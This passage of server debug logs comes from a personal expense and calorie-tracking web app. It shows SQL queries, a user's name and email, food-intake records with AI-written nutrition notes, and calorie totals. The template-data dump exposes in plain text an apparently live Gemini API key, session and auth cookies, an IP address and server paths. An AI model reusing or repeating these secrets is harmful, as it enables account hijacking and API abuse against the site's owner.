    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T13:36:09.077Z server-connect:output restrict: undefined
2025-12-16T13:36:09.078Z server-connect:app Executing action step single
2025-12-16T13:36:09.078Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T13:36:09.079Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T13:36:10.993Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T13:36:10.993Z server-connect:app Executing action step identify
2025-12-16T13:36:10.993Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:10.993Z server-connect:output identity: 1
2025-12-16T13:36:10.993Z server-connect:app Executing action step restrict
2025-12-16T13:36:10.993Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T13:36:10.994Z server-connect:output restrict: undefined
2025-12-16T13:36:10.994Z server-connect:router Render template calorie-tracker
2025-12-16T13:36:10.994Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"51ca-wc1GjJ36MKrFRGGFEuKWldiffQM"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-17T12:48:56.347Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"51ca-wc1GjJ36MKrFRGGFEuKWldiffQM"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A1gPePSrbAE%2BwJIGAQA%2BRuw%3D%3D.xwStsJ30ZCdgqgPRaVOjQIwDWVGMhODEGmgKlqcrvHww3qzWq%2FtsEcylNt8aNsPR3ZfUiAJfMWk%2F5FNvb6pfhPbZfQTWH8vSJORXTCFmrxcXeRiEvC7nKI48eMvPiLxbMzEn0HQyKa%2FQHunfkgQs3R%2B6EkWECGklFDLirBZ752Q%3D.gRm1H2FtgeZRuNgzcxdHda1Li9vU6jg6hdnRrSYQgMM; your_r_git.sid=s%3A3QwrUCdis9i5OCmJnLs6K1BpcQvDIfb-.oXRIE93YJeeAJsGsrnGJA6oUbDg%2Fa%2F1TrdYX6XFlyvo',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T13:36:11.232Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T13:36:11.232Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T13:36:11.233Z server-connect:app Executing action step identify
2025-12-16T13:36:11.233Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:11.233Z server-connect:output identity: 1
2025-12-16T13:36:11.233Z server-connect:app Executing action step restrict
2025-12-16T13:36:11.233Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:36:11.233Z server-connect:app Executing action step identify
2025-12-16T13:36:11.233Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:11.233Z server-connect:output identity: 1
2025-12-16T13:36:11.233Z server-connect:app Executing action step restrict
2025-12-16T13:36:11.233Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:11.233Z server-connect:output restrict: undefined
2025-12-16T13:36:11.233Z server-connect:app Executing action step single
2025-12-16T13:36:11.234Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T13:36:11.234Z server-connect:output restrict: undefined
2025-12-16T13:36:11.235Z server-connect:app Executing action step single
2025-12-16T13:36:11.235Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T13:36:11.235Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day's nutrition shows a decent intake of carbohydrates with some protein, but it could be enhanced with more protein-rich sources to support muscle development and satiety. Meal timing appears reasonable, and hydration from green tea is positive. The weight trend indicates a gradual reduction over the past couple of weeks.",
    bad_points: [
      'Protein intake appears to be on the lower side, which might hinder muscle development and recovery.',
      'The combination of Idli, Roti, and biscuits provides a significant carbohydrate load without a substantial protein counterpoint.',
      'Milk Sugar Coffee adds unnecessary sugars.',
      'The Aloo Gobi, while a vegetable dish, is prepared with moderate oil, contributing to fat intake.'
    ],
    good_points: [
      'Inclusion of whole wheat roti for complex carbohydrates.',
      'Regular consumption of green tea for hydration and antioxidants.',
      'Incorporation of Makhana as a light snack.',
      'Consistent gym attendance is a strong foundation for goal achievement.'
    ],
    suggestions: [
      'Incorporate a protein source like lentils, paneer, or lean meat with the main meals.',
      'Consider reducing the portion of biscuits or opting for a protein-rich snack instead.',
      'Replace the Milk Sugar Coffee with a plain coffee or tea to minimize added sugars.',
      'Increase water intake throughout the day to aid hydration and recovery.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Gradual decrease'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T13:36:11.236Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T13:36:11.236Z server-connect:app Executing action step select
2025-12-16T13:36:11.236Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T13:36:11.238Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T13:36:11.238Z server-connect:app Executing action step setvalue
2025-12-16T13:36:11.239Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T13:36:11.239Z server-connect:output var_total: 1313
2025-12-16T13:36:11.239Z server-connect:app Executing action step setvalue
2025-12-16T13:36:11.239Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T13:36:11.239Z server-connect:output var_consumed: 55
2025-12-16T13:36:11.239Z server-connect:app Executing action step setvalue
2025-12-16T13:36:11.239Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T13:36:11.239Z server-connect:output var_deficit: 1087
2025-12-16T13:36:11.239Z server-connect:app Executing action step custom
2025-12-16T13:36:11.239Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T13:36:11.241Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T13:36:11.789Z server-connect:app Executing action step identify
2025-12-16T13:36:11.789Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:11.789Z server-connect:output identity: 1
2025-12-16T13:36:14.192Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-16T13:36:14.193Z server-connect:app Executing action step identify
2025-12-16T13:36:14.193Z server-connect:app options: { provider: 'security' }
2025-12-16T13:36:14.193Z server-connect:output identity: 1
2025-12-16T13:36:14.193Z server-connect:app Executing action step restrict
2025-12-16T13:36:14.193Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T13:36:14.193Z server-connect:output restrict: undefined
2025-12-16T13:36:14.194Z server-connect:app Executing action step select
2025-12-16T13:36:14.194Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-16T13:36:14.195Z server-connect:output items_consumed_today: [
  {
    id: 402,
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)'
  },
  {
    id: 403,
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)'
  },
  {
    id: 404,
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)'
  },
  {
    id: 405,
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)'
  },
  {
    id: 406,
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)'
  },
  {
    id: 407,
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)'
  },
  {
    id: 408,
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)'
  },
  {
    id: 409,
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
